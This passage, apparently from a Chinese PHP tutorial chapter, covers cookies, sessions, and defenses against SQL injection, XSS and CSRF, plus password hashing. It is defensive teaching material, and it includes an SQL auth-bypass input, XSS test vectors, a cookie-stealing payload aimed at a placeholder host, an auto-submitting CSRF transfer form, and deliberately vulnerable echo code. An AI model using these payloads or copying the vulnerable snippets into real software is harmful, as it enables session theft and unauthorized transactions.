第3章:会话控制与Web安全基础
章节介绍
学习目标
通过本章的学习,你将能够:
- 理解Cookie和Session在Web开发中的作用与原理
- 掌握使用PHP实现用户登录状态维持的技术
- 识别常见的Web安全威胁并掌握基础防护方法
- 实现一个安全的用户认证系统,包含密码加密、会话管理和安全过滤
在整个教程中的作用
本章是构建完整Web应用的关键环节。前两章分别讲解了如何用面向对象的方式组织代码结构,以及如何安全高效地与数据库交互。本章将学习如何在这些基础上,实现用户状态管理 和保障应用安全。这是从"功能实现"到"生产可用"的重要跨越,任何面向用户的Web应用都离不开会话控制和安全防护。
与前面章节的衔接
- 基于第1章的
User类,本章将为其实添加登录状态管理功能 - 使用第2章的PDO数据库操作,确保用户认证过程中的数据安全
- 为第5章的综合实战项目打下安全基础
本章主要内容概览
- Cookie和Session的基础原理与使用
- 实现完整的用户登录、状态维持和退出功能
- 深入探讨三种常见Web安全威胁及其防护
- 密码安全存储的最佳实践
- 综合实战:构建带安全防护的用户管理系统
核心概念讲解
1. Cookie:客户端的存储机制
概念与原理
Cookie是服务器发送到用户浏览器并保存在本地的一小块数据。当浏览器再次向同一服务器发起请求时,会自动携带Cookie数据。
工作原理:
1. 客户端首次访问 → 2. 服务器响应并设置Cookie → 3. 客户端保存Cookie
4. 客户端再次访问 → 5. 浏览器自动携带Cookie → 6. 服务器读取Cookie
应用场景
- 用户偏好设置(如语言、主题)
- 购物车商品暂存
- 简单的登录状态保持(需结合安全考虑)
- 用户行为追踪(需注意隐私政策)
注意事项
- 大小限制:每个Cookie一般不超过4KB
- 数量限制:每个域名下的Cookie数量有限制(通常20-50个)
- 安全性:敏感信息不应存储在Cookie中
- 生命周期:可设置过期时间,不设置则关闭浏览器即失效
2. Session:服务器端的会话管理
概念与原理
Session将会话数据存储在服务器端,客户端只保存一个Session ID(通常通过Cookie传递)。相比Cookie,Session更安全,适合存储敏感信息。
工作原理:
1. 客户端访问 → 2. 服务器创建Session → 3. 返回Session ID给客户端
4. 客户端后续请求携带Session ID → 5. 服务器根据ID找到对应Session数据
Session配置
PHP中可通过php.ini或ini_set()配置Session:
session.gc_maxlifetime:Session过期时间(秒)session.cookie_secure:仅通过HTTPS传输Session IDsession.cookie_httponly:防止JavaScript访问Session Cookie
最佳实践
- 及时销毁不再需要的Session数据
- 使用HTTPS传输Session ID
- 定期更换Session ID(会话固定攻击防护)
- 验证Session来源(检查IP、User-Agent等)
3. Web安全基础:三大常见威胁
SQL注入(复习与深化)
虽然第2章已通过PDO预处理语句防护,但理解攻击原理仍很重要。
攻击原理:攻击者通过构造特殊输入,改变SQL语句的原始意图。
sql
-- 原始语句
SELECT * FROM users WHERE username = '$input' AND password = '$pass'
-- 攻击输入:admin' OR '1'='1
-- 最终语句
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = '$pass'
-- '1'='1'永远为真,可能绕过认证
跨站脚本攻击(XSS)
XSS攻击通过在网页中注入恶意脚本,在用户浏览器中执行。
三种类型:
- 反射型XSS:恶意脚本来自当前HTTP请求
- 存储型XSS:恶意脚本存储到服务器,影响所有访问用户
- DOM型XSS:通过修改DOM环境在客户端执行
跨站请求伪造(CSRF)
攻击者诱使用户在已登录的状态下访问恶意页面,该页面自动向目标网站发起请求,利用用户的登录凭证执行非授权操作。
攻击场景:
- 用户登录了银行网站A
- 用户访问了恶意网站B
- 网站B中的代码自动向网站A发起转账请求
- 浏览器自动携带用户的Cookie,请求被成功执行
代码示例
示例1:Cookie的基本使用
php
<?php
// 示例1:设置和读取Cookie
// 设置一个Cookie,有效期为1小时
setcookie('user_language', 'zh-CN', time() + 3600, '/', 'example.com', true, true);
// 参数说明:名称,值,过期时间,路径,域名,仅HTTPS,仅HTTP访问
// 设置多个Cookie值(数组形式)
setcookie('user_preferences[theme]', 'dark', time() + 86400);
setcookie('user_preferences[font_size]', 'medium', time() + 86400);
// 读取Cookie
if (isset($_COOKIE['user_language'])) {
$language = $_COOKIE['user_language'];
echo "用户设置的语言:$language<br>";
}
// 读取数组形式的Cookie
if (isset($_COOKIE['user_preferences'])) {
$prefs = $_COOKIE['user_preferences'];
echo "主题:{$prefs['theme']},字体大小:{$prefs['font_size']}<br>";
}
// 删除Cookie(设置过期时间为过去的时间)
setcookie('user_language', '', time() - 3600, '/', 'example.com', true, true);
// 安全提示:验证Cookie数据
$cookieValue = isset($_COOKIE['user_data']) ? $_COOKIE['user_data'] : '';
if (!preg_match('/^[a-zA-Z0-9]+$/', $cookieValue)) {
// 如果Cookie包含非法字符,可能是篡改攻击
setcookie('user_data', '', time() - 3600);
echo "检测到异常的Cookie数据,已清除<br>";
}
?>
<!-- 实际应用:记住登录状态 -->
<?php
// 模拟用户登录
function rememberLogin($username, $days = 30) {
// 生成安全的记住我令牌
$token = bin2hex(random_bytes(32));
$hashedToken = password_hash($token, PASSWORD_DEFAULT);
// 存储哈希到数据库(实际开发中需要)
// storeTokenInDatabase($username, $hashedToken);
// 设置Cookie - 用户名和令牌分开存储更安全
setcookie('remember_user', $username, time() + (86400 * $days), '/', '', true, true);
setcookie('remember_token', $token, time() + (86400 * $days), '/', '', true, true);
return $token;
}
// 验证记住我令牌
function validateRememberToken($username, $token) {
// 从数据库获取哈希值
// $storedHash = getTokenFromDatabase($username);
// 模拟验证
$storedHash = password_hash('模拟的令牌', PASSWORD_DEFAULT);
if (password_verify($token, $storedHash)) {
// 令牌有效,重新生成令牌防止重用
$newToken = bin2hex(random_bytes(32));
// updateTokenInDatabase($username, password_hash($newToken, PASSWORD_DEFAULT));
setcookie('remember_token', $newToken, time() + (86400 * 30), '/', '', true, true);
return true;
}
return false;
}
?>
示例2:Session的完整使用流程
php
<?php
// 示例2:Session的基本操作
// 1. 启动Session(必须在任何输出之前)
session_start();
// 检查Session是否是新创建的
if (session_status() === PHP_SESSION_NONE) {
die('Session启动失败');
}
// 2. 设置Session配置(也可以在php.ini中配置)
ini_set('session.cookie_secure', 1); // 仅通过HTTPS传输
ini_set('session.cookie_httponly', 1); // 防止JavaScript访问
ini_set('session.cookie_samesite', 'Strict'); // 防止CSRF
ini_set('session.use_strict_mode', 1); // 只接受服务器生成的Session ID
ini_set('session.gc_maxlifetime', 1800); // 30分钟过期
// 3. 存储数据到Session
$_SESSION['user_id'] = 123;
$_SESSION['username'] = '张三';
$_SESSION['login_time'] = time();
$_SESSION['user_data'] = [
'email' => 'zhangsan@example.com',
'role' => 'admin',
'last_login' => date('Y-m-d H:i:s')
];
// 4. 读取Session数据
echo "当前Session ID: " . session_id() . "<br>";
echo "用户ID: " . ($_SESSION['user_id'] ?? '未设置') . "<br>";
echo "用户名: " . ($_SESSION['username'] ?? '未设置') . "<br>";
// 5. 检查Session是否过期
if (isset($_SESSION['login_time'])) {
$sessionAge = time() - $_SESSION['login_time'];
if ($sessionAge > 1800) { // 超过30分钟
echo "Session已过期,需要重新登录<br>";
session_destroy();
} else {
echo "Session活跃时间: {$sessionAge}秒<br>";
}
}
// 6. 更新Session ID(防止会话固定攻击)
function regenerateSession() {
// 保存旧Session数据
$oldSessionData = $_SESSION;
// 销毁旧Session
session_destroy();
// 重新生成Session ID
session_start();
session_regenerate_id(true);
// 恢复数据
$_SESSION = $oldSessionData;
$_SESSION['last_regenerated'] = time();
return session_id();
}
// 重要操作前更新Session ID
if (!isset($_SESSION['last_regenerated']) || (time() - $_SESSION['last_regenerated']) > 300) {
$newSessionId = regenerateSession();
echo "Session ID已更新: $newSessionId<br>";
}
// 7. 安全地销毁Session
function safeLogout() {
// 清除所有Session变量
$_SESSION = [];
// 删除Session Cookie
if (ini_get("session.use_cookies")) {
$params = session_get_cookie_params();
setcookie(
session_name(),
'',
time() - 42000,
$params["path"],
$params["domain"],
$params["secure"],
$params["httponly"]
);
}
// 最后销毁Session
session_destroy();
// 重定向到登录页
header('Location: login.php');
exit;
}
// 8. Session数据序列化示例(了解原理)
echo "Session原始数据格式示例:<br>";
$sampleData = ['key' => 'value', 'number' => 42];
$serialized = serialize($sampleData);
echo "序列化: $serialized<br>";
$unserialized = unserialize($serialized);
echo "反序列化后: ";
print_r($unserialized);
echo "<br>";
// 注意:不要反序列化不可信的数据,有安全风险
?>
<!-- 实际应用:用户登录状态管理 -->
<?php
class SessionManager {
private const SESSION_TIMEOUT = 1800; // 30分钟
public static function startSecureSession() {
// 防止Session fixation攻击
if (session_status() === PHP_SESSION_NONE) {
session_start();
}
// 如果是新Session,标记为新的
if (!isset($_SESSION['created'])) {
$_SESSION['created'] = time();
}
// 检查Session是否过期
self::checkTimeout();
// 定期更新Session ID
self::regenerateIfNeeded();
}
private static function checkTimeout() {
if (isset($_SESSION['last_activity']) &&
(time() - $_SESSION['last_activity']) > self::SESSION_TIMEOUT) {
// Session过期,销毁并重新开始
session_unset();
session_destroy();
session_start();
$_SESSION['expired'] = true;
}
// 更新最后活动时间
$_SESSION['last_activity'] = time();
}
private static function regenerateIfNeeded() {
$regenerateInterval = 300; // 每5分钟更新一次Session ID
if (!isset($_SESSION['last_regenerated'])) {
$_SESSION['last_regenerated'] = time();
} elseif ((time() - $_SESSION['last_regenerated']) > $regenerateInterval) {
session_regenerate_id(true);
$_SESSION['last_regenerated'] = time();
}
}
public static function setUserData($userId, $userData) {
$_SESSION['user_id'] = $userId;
$_SESSION['user_data'] = $userData;
$_SESSION['ip_address'] = $_SERVER['REMOTE_ADDR'];
$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
$_SESSION['last_activity'] = time();
}
public static function validateSession() {
// 验证Session是否被劫持
if (!isset($_SESSION['ip_address'], $_SESSION['user_agent'])) {
return false;
}
if ($_SESSION['ip_address'] !== $_SERVER['REMOTE_ADDR']) {
// IP地址变化,可能是攻击
return false;
}
if ($_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT']) {
// User-Agent变化,可能是攻击
return false;
}
return true;
}
}
// 使用示例
SessionManager::startSecureSession();
if (SessionManager::validateSession()) {
echo "Session验证通过<br>";
} else {
echo "Session验证失败,可能存在安全风险<br>";
safeLogout();
}
?>
示例3:XSS攻击与防护
php
<?php
// 示例3:XSS攻击演示与防护
// ==================== 攻击场景演示 ====================
// 场景1:反射型XSS(非持久化)
if (isset($_GET['search'])) {
$searchTerm = $_GET['search'];
echo "<h2>反射型XSS漏洞示例(危险代码):</h2>";
echo "搜索结果: " . $searchTerm . "<br>";
// 攻击者可以输入: <script>alert('XSS攻击')</script>
// 或更危险的: <script>document.location='http://恶意网站/?cookie='+document.cookie</script>
}
// 场景2:存储型XSS(持久化)
// 假设这是从数据库读取的用户评论
$dangerousComments = [
'这个产品真好!',
'<script>alert("我是恶意脚本")</script>',
'<img src="x" onerror="alert(\'XSS\')">',
'<a href="javascript:alert(\'XSS\')">点击我</a>'
];
echo "<h2>存储型XSS漏洞示例:</h2>";
foreach ($dangerousComments as $comment) {
echo "<div class='comment'>$comment</div><br>";
}
// ==================== 防护方案 ====================
echo "<h2>XSS防护方案:</h2>";
// 方案1:htmlspecialchars() - 转义HTML特殊字符
function safeOutput($input) {
// 转换所有特殊字符为HTML实体
return htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8', false);
}
// 方案2:strip_tags() - 移除HTML标签(不够安全,可能被绕过)
function stripTags($input, $allowedTags = '') {
return strip_tags($input, $allowedTags);
}
// 方案3:使用HTML净化库(推荐)
// 实际项目中可以使用:HTML Purifier, Symfony HTML Sanitizer等
// 方案4:内容安全策略(CSP) - HTTP头防护
function setCSPHeaders() {
header("Content-Security-Policy: default-src 'self'; script-src 'self' https:// trusted.cdn.com; style-src 'self' 'unsafe-inline';");
// 禁止内联脚本执行,只允许指定来源的脚本
}
// 实际应用示例
echo "<h3>安全输出示例:</h3>";
$userInput = '<script>alert("攻击")</script><b>正常文本</b>';
echo "原始输入: " . $userInput . "<br>";
echo "htmlspecialchars处理后: " . safeOutput($userInput) . "<br>";
echo "strip_tags处理后: " . stripTags($userInput) . "<br>";
// 针对不同上下文的处理
function sanitizeForContext($input, $context) {
switch ($context) {
case 'html':
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
case 'attribute':
// 移除可能破坏属性的字符
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
case 'url':
// 验证URL
if (filter_var($input, FILTER_VALIDATE_URL)) {
return $input;
}
return '';
case 'css':
// 移除危险CSS
return preg_replace('/[<>]/', '', $input);
case 'javascript':
// JSON编码
return json_encode($input);
default:
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
}
}
// 实战:评论系统防护
class CommentSystem {
private $db;
public function __construct($db) {
$this->db = $db;
}
public function addComment($userId, $content) {
// 1. 验证用户输入
if (empty($content) || strlen($content) > 1000) {
throw new Exception('评论内容无效或过长');
}
// 2. 清理内容
$cleanContent = $this->sanitizeComment($content);
// 3. 存储到数据库(使用预处理语句)
$stmt = $this->db->prepare("INSERT INTO comments (user_id, content, created_at) VALUES (?, ?, NOW())");
$stmt->execute([$userId, $cleanContent]);
return $this->db->lastInsertId();
}
public function getComments($postId) {
$stmt = $this->db->prepare("SELECT * FROM comments WHERE post_id = ? ORDER BY created_at DESC");
$stmt->execute([$postId]);
$comments = $stmt->fetchAll(PDO::FETCH_ASSOC);
// 安全输出
foreach ($comments as &$comment) {
$comment['content'] = $this->safeDisplay($comment['content']);
}
return $comments;
}
private function sanitizeComment($content) {
// 移除危险标签,只保留安全标签
$allowedTags = '<p><br><b><i><u><strong><em><a><code><pre>';
$content = strip_tags($content, $allowedTags);
// 转义特殊字符
$content = htmlspecialchars($content, ENT_QUOTES, 'UTF-8');
// 移除多余的空白
$content = trim($content);
return $content;
}
private function safeDisplay($content) {
// 双重防护:虽然数据库已存储清理后的内容,输出时再次转义
return htmlspecialchars($content, ENT_QUOTES, 'UTF-8', false);
}
}
// XSS测试工具函数
function testXSSVectors() {
$testVectors = [
'<script>alert(1)</script>',
'<img src=x onerror=alert(1)>',
'<svg onload=alert(1)>',
'<body onload=alert(1)>',
'<iframe src="javascript:alert(1)">',
'<a href="javascript:alert(1)">click</a>',
'<form><button formaction="javascript:alert(1)">X</button></form>',
'"><script>alert(1)</script>',
"'><script>alert(1)</script>",
'`><script>alert(1)</script>',
];
foreach ($testVectors as $vector) {
$safe = safeOutput($vector);
echo "测试向量: " . htmlspecialchars($vector) . "<br>";
echo "防护后: $safe<br>";
echo "是否安全: " . (strpos($safe, '<script>') === false ? '是' : '否') . "<br><br>";
}
}
echo "<h3>XSS攻击向量测试:</h3>";
testXSSVectors();
?>
示例4:CSRF攻击与防护
php
<?php
// 示例4:CSRF攻击演示与防护
// ==================== 攻击场景演示 ====================
echo "<h2>CSRF攻击示例:</h2>";
// 假设这是银行转账页面(存在CSRF漏洞)
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['transfer'])) {
session_start();
// 验证用户是否登录(但不验证请求来源)
if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
die('请先登录');
}
// 执行转账操作
$amount = $_POST['amount'];
$toAccount = $_POST['to_account'];
echo "<div style='background-color: #ffcccc; padding: 10px;'>";
echo "⚠️ 危险!未受保护的转账操作执行成功<br>";
echo "转账金额: $amount 到账户: $toAccount<br>";
echo "这个操作可以被CSRF攻击利用!";
echo "</div>";
}
// ==================== 防护方案 ====================
echo "<h2>CSRF防护方案:</h2>";
// 方案1:CSRF令牌(最常用)
class CSRFToken {
private static $tokenName = 'csrf_token';
public static function generate() {
if (empty($_SESSION[self::$tokenName])) {
$_SESSION[self::$tokenName] = bin2hex(random_bytes(32));
}
return $_SESSION[self::$tokenName];
}
public static function validate($token) {
if (empty($_SESSION[self::$tokenName]) || empty($token)) {
return false;
}
return hash_equals($_SESSION[self::$tokenName], $token);
}
public static function getField() {
$token = self::generate();
return "<input type='hidden' name='" . self::$tokenName . "' value='$token'>";
}
public static function verifyRequest() {
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$token = $_POST[self::$tokenName] ?? '';
if (!self::validate($token)) {
throw new Exception('CSRF令牌验证失败');
}
}
}
}
// 方案2:双重提交Cookie
class DoubleSubmitCookie {
public static function setCookie() {
$token = bin2hex(random_bytes(16));
setcookie('csrf_cookie', $token, time() + 3600, '/', '', true, true);
return $token;
}
public static function validate() {
$cookieToken = $_COOKIE['csrf_cookie'] ?? '';
$formToken = $_POST['csrf_token'] ?? '';
return !empty($cookieToken) && !empty($formToken) &&
hash_equals($cookieToken, $formToken);
}
}
// 方案3:同源检测
function checkOrigin() {
$allowedOrigins = ['https:// example.com', 'https://www.example.com'];
$origin = $_SERVER['HTTP_ORIGIN'] ?? $_SERVER['HTTP_REFERER'] ?? '';
foreach ($allowedOrigins as $allowed) {
if (strpos($origin, $allowed) === 0) {
return true;
}
}
return false;
}
// 方案4:自定义请求头(AJAX请求)
function checkCustomHeader() {
return isset($_SERVER['HTTP_X_REQUESTED_WITH']) &&
$_SERVER['HTTP_X_REQUESTED_WITH'] === 'XMLHttpRequest';
}
// 实际应用:安全的表单处理
class SecureForm {
private $tokenName;
public function __construct($tokenName = 'csrf_token') {
$this->tokenName = $tokenName;
session_start();
}
public function createForm($action, $method = 'POST') {
$token = CSRFToken::generate();
$form = "<form action='$action' method='$method'>";
$form .= CSRFToken::getField();
$form .= "<!-- 其他表单字段 -->";
$form .= "<input type='submit' value='提交'>";
$form .= "</form>";
return $form;
}
public function processForm() {
try {
CSRFToken::verifyRequest();
// 处理表单数据
$data = $this->sanitizeInput($_POST);
// 业务逻辑...
return $data;
} catch (Exception $e) {
error_log('CSRF攻击尝试: ' . $e->getMessage());
return false;
}
}
private function sanitizeInput($data) {
$clean = [];
foreach ($data as $key => $value) {
if ($key !== $this->tokenName) {
$clean[$key] = is_array($value) ?
array_map('htmlspecialchars', $value) :
htmlspecialchars($value, ENT_QUOTES, 'UTF-8');
}
}
return $clean;
}
}
// 使用示例
echo "<h3>安全表单示例:</h3>";
$secureForm = new SecureForm();
echo $secureForm->createForm('process.php');
// 模拟攻击页面(恶意网站)
echo "<h3>CSRF攻击页面模拟:</h3>";
echo <<<HTML
<div style="border: 2px solid red; padding: 10px; margin: 10px;">
<h4>恶意网站上的攻击代码:</h4>
<pre>
<form action="http:// victim.com/transfer.php" method="POST" id="maliciousForm">
<input type="hidden" name="amount" value="10000">
<input type="hidden" name="to_account" value="attacker_account">
</form>
<script>
// 自动提交表单
document.getElementById('maliciousForm').submit();
</script>
</pre>
<p>如果用户已经登录受害网站,这个表单会自动提交转账请求</p>
</div>
HTML;
// 防御后的安全页面
echo "<h3>防护后的安全转账页面:</h3>";
echo <<<HTML
<form action="safe_transfer.php" method="POST">
<input type="hidden" name="csrf_token" value="动态生成的令牌">
<label>转账金额:<input type="number" name="amount"></label><br>
<label>目标账户:<input type="text" name="to_account"></label><br>
<input type="submit" value="确认转账">
</form>
<p>攻击者无法获取动态生成的CSRF令牌,因此攻击失败</p>
HTML;
// 完整的CSRF防护中间件
class CSRFTokenManager {
private $sessionKey = 'csrf_tokens';
public function __construct() {
if (session_status() === PHP_SESSION_NONE) {
session_start();
}
// 初始化令牌数组
if (!isset($_SESSION[$this->sessionKey])) {
$_SESSION[$this->sessionKey] = [];
}
}
public function generateToken($formId = 'default') {
$token = bin2hex(random_bytes(32));
$hashedToken = hash('sha256', $token);
// 存储哈希值,限制令牌数量
$_SESSION[$this->sessionKey][$formId] = [
'hash' => $hashedToken,
'created' => time(),
'expires' => time() + 3600 // 1小时过期
];
// 清理过期令牌
$this->cleanupExpiredTokens();
return $token;
}
public function validateToken($token, $formId = 'default') {
if (empty($token)) {
return false;
}
if (!isset($_SESSION[$this->sessionKey][$formId])) {
return false;
}
$stored = $_SESSION[$this->sessionKey][$formId];
// 检查是否过期
if (time() > $stored['expires']) {
unset($_SESSION[$this->sessionKey][$formId]);
return false;
}
// 安全地比较哈希值
$isValid = hash_equals($stored['hash'], hash('sha256', $token));
// 使用后销毁(一次性令牌)
if ($isValid) {
unset($_SESSION[$this->sessionKey][$formId]);
}
return $isValid;
}
private function cleanupExpiredTokens() {
foreach ($_SESSION[$this->sessionKey] as $formId => $data) {
if (time() > $data['expires']) {
unset($_SESSION[$this->sessionKey][$formId]);
}
}
}
public function getTokenField($formId = 'default') {
$token = $this->generateToken($formId);
return "<input type='hidden' name='csrf_token' value='$token'>";
}
}
// 使用一次性令牌的示例
echo "<h3>一次性CSRF令牌示例:</h3>";
$csrfManager = new CSRFTokenManager();
// 生成表单
$formToken = $csrfManager->generateToken('transfer_form');
echo "<form method='POST'>";
echo "<input type='hidden' name='csrf_token' value='$formToken'>";
echo "<input type='submit' value='安全提交'>";
echo "</form>";
// 验证逻辑
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$submittedToken = $_POST['csrf_token'] ?? '';
if ($csrfManager->validateToken($submittedToken, 'transfer_form')) {
echo "<p style='color: green;'>✅ CSRF令牌验证成功</p>";
} else {
echo "<p style='color: red;'>❌ CSRF令牌验证失败或已使用</p>";
}
}
?>
示例5:密码安全存储与验证
php
<?php
// 示例5:密码安全存储与验证
echo "<h2>密码安全存储最佳实践:</h2>";
// ==================== 错误的密码处理方式 ====================
echo "<h3 style='color: red;'>❌ 错误的方式:</h3>";
// 错误1:明文存储
$badPassword1 = '123456';
echo "明文存储: $badPassword1<br>";
// 错误2:简单MD5哈希(无盐值)
$badPassword2 = md5('123456');
echo "简单MD5: $badPassword2<br>";
echo "攻击者可以使用彩虹表轻易破解<br>";
// 错误3:固定盐值
$fixedSalt = 'mysalt';
$badPassword3 = md5('123456' . $fixedSalt);
echo "固定盐值MD5: $badPassword3<br>";
echo "盐值固定,一旦泄露所有用户受影响<br>";
// ==================== 正确的密码处理方式 ====================
echo "<h3 style='color: green;'>✅ 正确的方式:</h3>";
class PasswordSecurity {
// 使用PHP内置的password_hash函数
public static function hashPassword($password) {
// PASSWORD_DEFAULT 使用当前最佳的算法(目前是bcrypt)
// 会自动生成随机盐值
return password_hash($password, PASSWORD_DEFAULT);
}
public static function verifyPassword($password, $hash) {
return password_verify($password, $hash);
}
public static function needsRehash($hash) {
// 检查密码是否需要重新哈希(算法更新时)
return password_needs_rehash($hash, PASSWORD_DEFAULT);
}
// 生成强密码
public static function generateStrongPassword($length = 12) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=[]{}|;:,.<>?';
$password = '';
for ($i = 0; $i < $length; $i++) {
$password .= $chars[random_int(0, strlen($chars) - 1)];
}
return $password;
}
// 密码强度检查
public static function checkPasswordStrength($password) {
$strength = 0;
$messages = [];
// 长度检查
if (strlen($password) >= 8) {
$strength += 20;
} else {
$messages[] = '密码至少需要8个字符';
}
// 大写字母检查
if (preg_match('/[A-Z]/', $password)) {
$strength += 20;
} else {
$messages[] = '需要包含大写字母';
}
// 小写字母检查
if (preg_match('/[a-z]/', $password)) {
$strength += 20;
} else {
$messages[] = '需要包含小写字母';
}
// 数字检查
if (preg_match('/[0-9]/', $password)) {
$strength += 20;
} else {
$messages[] = '需要包含数字';
}
// 特殊字符检查
if (preg_match('/[^A-Za-z0-9]/', $password)) {
$strength += 20;
} else {
$messages[] = '需要包含特殊字符';
}
// 常见弱密码检查
$weakPasswords = ['123456', 'password', '12345678', 'qwerty', 'abc123'];
if (in_array($password, $weakPasswords)) {
$strength = 0;
$messages[] = '密码过于常见,请更换';
}
return [
'strength' => $strength,
'messages' => $messages,
'level' => $strength >= 80 ? '强' : ($strength >= 60 ? '中' : '弱')
];
}
}
// 实际使用示例
echo "<h4>密码哈希演示:</h4>";
$testPassword = 'MySecurePass123!';
// 哈希密码
$hashedPassword = PasswordSecurity::hashPassword($testPassword);
echo "原始密码: $testPassword<br>";
echo "哈希后: $hashedPassword<br>";
echo "哈希长度: " . strlen($hashedPassword) . " 字符<br>";
// 验证密码
$isValid = PasswordSecurity::verifyPassword($testPassword, $hashedPassword);
echo "密码验证: " . ($isValid ? '✅ 成功' : '❌ 失败') . "<br>";
// 错误的密码验证
$wrongPassword = 'WrongPass';
$isValid = PasswordSecurity::verifyPassword($wrongPassword, $hashedPassword);
echo "错误密码验证: " . ($isValid ? '✅ 成功' : '❌ 失败') . "<br>";
// 密码强度检查
echo "<h4>密码强度检查:</h4>";
$weakPasswords = ['123', 'password', 'Pass123', 'StrongPass123!'];
foreach ($weakPasswords as $pwd) {
$result = PasswordSecurity::checkPasswordStrength($pwd);
echo "密码: $pwd<br>";
echo "强度: {$result['strength']}% ({$result['level']})<br>";
if (!empty($result['messages'])) {
echo "建议: " . implode(', ', $result['messages']) . "<br>";
}
echo "<br>";
}
// 生成强密码
echo "<h4>生成强密码:</h4>";
for ($i = 0; $i < 3; $i++) {
$strongPassword = PasswordSecurity::generateStrongPassword();
echo "建议密码 $i: $strongPassword<br>";
}
// 完整的用户认证类
class SecureAuth {
private $db;
private $maxAttempts = 5;
private $lockoutTime = 900; // 15分钟
public function __construct(PDO $db) {
$this->db = $db;
}
public function register($username, $email, $password) {
// 验证输入
if (!$this->validateInput($username, $email, $password)) {
throw new Exception('输入验证失败');
}
// 检查用户是否已存在
if ($this->userExists($username, $email)) {
throw new Exception('用户名或邮箱已存在');
}
// 哈希密码
$hashedPassword = password_hash($password, PASSWORD_DEFAULT);
// 生成验证token(用于邮箱验证)
$verificationToken = bin2hex(random_bytes(32));
// 存储到数据库
$stmt = $this->db->prepare("
INSERT INTO users (username, email, password_hash, verification_token, created_at)
VALUES (?, ?, ?, ?, NOW())
");
return $stmt->execute([$username, $email, $hashedPassword, $verificationToken]);
}
public function login($username, $password) {
// 检查登录尝试次数
if ($this->isLockedOut($username)) {
throw new Exception('账户已被锁定,请15分钟后再试');
}
// 获取用户信息
$user = $this->getUserByUsername($username);
if (!$user) {
$this->recordFailedAttempt($username);
throw new Exception('用户名或密码错误');
}
// 验证密码
if (!password_verify($password, $user['password_hash'])) {
$this->recordFailedAttempt($username);
throw new Exception('用户名或密码错误');
}
// 检查是否需要重新哈希
if (password_needs_rehash($user['password_hash'], PASSWORD_DEFAULT)) {
$this->upgradePassword($user['id'], $password);
}
// 重置失败计数
$this->resetFailedAttempts($username);
// 生成会话令牌
$sessionToken = $this->generateSessionToken($user['id']);
return [
'user_id' => $user['id'],
'username' => $user['username'],
'session_token' => $sessionToken,
'requires_2fa' => $user['two_factor_enabled']
];
}
public function changePassword($userId, $oldPassword, $newPassword) {
// 获取当前密码哈希
$stmt = $this->db->prepare("SELECT password_hash FROM users WHERE id = ?");
$stmt->execute([$userId]);
$user = $stmt->fetch();
if (!$user || !password_verify($oldPassword, $user['password_hash'])) {
throw new Exception('原密码错误');
}
// 验证新密码强度
$strength = PasswordSecurity::checkPasswordStrength($newPassword);
if ($strength['strength'] < 60) {
throw new Exception('新密码强度不足: ' . implode(', ', $strength['messages']));
}
// 更新密码
$newHash = password_hash($newPassword, PASSWORD_DEFAULT);
$stmt = $this->db->prepare("UPDATE users SET password_hash = ?, password_changed_at = NOW() WHERE id = ?");
return $stmt->execute([$newHash, $userId]);
}
private function validateInput($username, $email, $password) {
// 用户名验证(只允许字母数字和下划线)
if (!preg_match('/^[a-zA-Z0-9_]{3,20}$/', $username)) {
return false;
}
// 邮箱验证
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
return false;
}
// 密码强度
$strength = PasswordSecurity::checkPasswordStrength($password);
return $strength['strength'] >= 60;
}
private function userExists($username, $email) {
$stmt = $this->db->prepare("SELECT id FROM users WHERE username = ? OR email = ?");
$stmt->execute([$username, $email]);
return $stmt->fetch() !== false;
}
private function getUserByUsername($username) {
$stmt = $this->db->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);
return $stmt->fetch(PDO::FETCH_ASSOC);
}
private function isLockedOut($username) {
$stmt = $this->db->prepare("
SELECT COUNT(*) as attempts, MAX(attempt_time) as last_attempt
FROM login_attempts
WHERE username = ? AND attempt_time > DATE_SUB(NOW(), INTERVAL ? SECOND)
");
$stmt->execute([$username, $this->lockoutTime]);
$result = $stmt->fetch();
return $result['attempts'] >= $this->maxAttempts;
}
private function recordFailedAttempt($username) {
$stmt = $this->db->prepare("INSERT INTO login_attempts (username, attempt_ip) VALUES (?, ?)");
$stmt->execute([$username, $_SERVER['REMOTE_ADDR']]);
}
private function resetFailedAttempts($username) {
$stmt = $this->db->prepare("DELETE FROM login_attempts WHERE username = ?");
$stmt->execute([$username]);
}
private function upgradePassword($userId, $password) {
$newHash = password_hash($password, PASSWORD_DEFAULT);
$stmt = $this->db->prepare("UPDATE users SET password_hash = ? WHERE id = ?");
$stmt->execute([$newHash, $userId]);
}
private function generateSessionToken($userId) {
$token = bin2hex(random_bytes(32));
$hashedToken = hash('sha256', $token);
// 存储到数据库
$stmt = $this->db->prepare("
INSERT INTO sessions (user_id, token_hash, created_at, expires_at)
VALUES (?, ?, NOW(), DATE_ADD(NOW(), INTERVAL 30 DAY))
");
$stmt->execute([$userId, $hashedToken]);
return $token;
}
}
// 密码哈希算法比较
echo "<h4>不同哈希算法对比:</h4>";
$password = 'TestPassword123!';
$algorithms = [
'MD5' => function($pwd) { return md5($pwd); },
'SHA1' => function($pwd) { return sha1($pwd); },
'SHA256' => function($pwd) { return hash('sha256', $pwd); },
'BCRYPT' => function($pwd) { return password_hash($pwd, PASSWORD_BCRYPT); },
'ARGON2I' => function($pwd) { return password_hash($pwd, PASSWORD_ARGON2I); },
'ARGON2ID' => function($pwd) { return password_hash($pwd, PASSWORD_ARGON2ID); }
];
echo "<table border='1' cellpadding='5'>";
echo "<tr><th>算法</th><th>哈希值</th><th>长度</th><th>安全性</th></tr>";
foreach ($algorithms as $name => $func) {
if ($name === 'ARGON2I' || $name === 'ARGON2ID') {
if (!defined('PASSWORD_ARGON2I')) {
